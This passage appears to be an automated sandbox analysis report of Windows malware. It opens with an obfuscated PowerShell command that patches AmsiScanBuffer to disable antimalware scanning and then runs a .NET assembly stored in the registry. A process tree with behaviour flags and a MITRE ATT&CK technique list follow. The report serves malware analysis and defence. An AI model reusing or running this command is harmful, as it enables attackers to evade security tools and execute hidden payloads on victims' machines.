$_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+'dl'+[Char](108)+'')}).GetType('Mi'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+'n'+'3'+''+[Char](50)+'.'+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+[Char](101)+'Me'+'t'+'ho'+[Char](100)+'s');$oVLwYUCQGiqPfi=$vrYDobIOQgRAt.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'Pr'+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+'ta'+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tjYKTEPpEWSdMXfwDbT=EtDDHgRIgsKT @([String])([IntPtr]);$ttTtBzxPfySVBflCtDYAAi=EtDDHgRIgsKT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PvyVyeHirlp=$vrYDobIOQgRAt.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+'o'+'d'+'u'+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$hJfGLpykKniTkh=$oVLwYUCQGiqPfi.Invoke($Null,@([Object]$PvyVyeHirlp,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+'i'+''+'b'+'r'+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$sgyaMulMemmGcdYVI=$oVLwYUCQGiqPfi.Invoke($Null,@([Object]$PvyVyeHirlp,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+'P'+[Char](114)+'o'+'t'+''+[Char](101)+'c'+[Char](116)+'')));$SVRaLaz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hJfGLpykKniTkh,$tjYKTEPpEWSdMXfwDbT).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+''+'.'+''+'d'+''+'l'+''+'l'+'');$xACaTJyctSoTVGWks=$oVLwYUCQGiqPfi.Invoke($Null,@([Object]$SVRaLaz,[Object](''+'A'+''+[Char](109)+'si'+[Char](83)+''+'c'+'a'+'n'+''+[Char](66)+'u'+'f'+'f'+'e'+''+'r'+'')));$hrRtQNwDHM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sgyaMulMemmGcdYVI,$ttTtBzxPfySVBflCtDYAAi).Invoke($xACaTJyctSoTVGWks,[uint32]8,4,[ref]$hrRtQNwDHM);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](56+81),[Byte](129+63),[Byte](105+79),[Byte](179-92),[Byte](65-65),[Byte](62-55),[Byte](123+5),[Byte](143-6),[Byte](206+4),[Byte](145+50),[Byte](23+114),[Byte](207+12)),0,$xACaTJyctSoTVGWks,247-235);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sgyaMulMemmGcdYVI,$ttTtBzxPfySVBflCtDYAAi).Invoke($xACaTJyctSoTVGWks,[uint32]8,0x20,[ref]$hrRtQNwDHM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+'$'+''+'P'+''+[Char](65)+''+[Char](82)+'As'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:2720
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2716 -ip 2716
  2⤵
  PID:4464

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4136

C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe
"C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\SecHealthUI.exe" -ServerName:SecHealthUI.AppX8tam42xc7v2czs3s1nt0nkxvfjtepzp9.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:4580

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {E041C90B-68BA-42C9-991E-477B73A75C90} -Embedding
1⤵
PID:1700

C:\Windows\ImmersiveControlPanel\SystemSettings.exe
"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
1⤵
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:5984

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2880

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery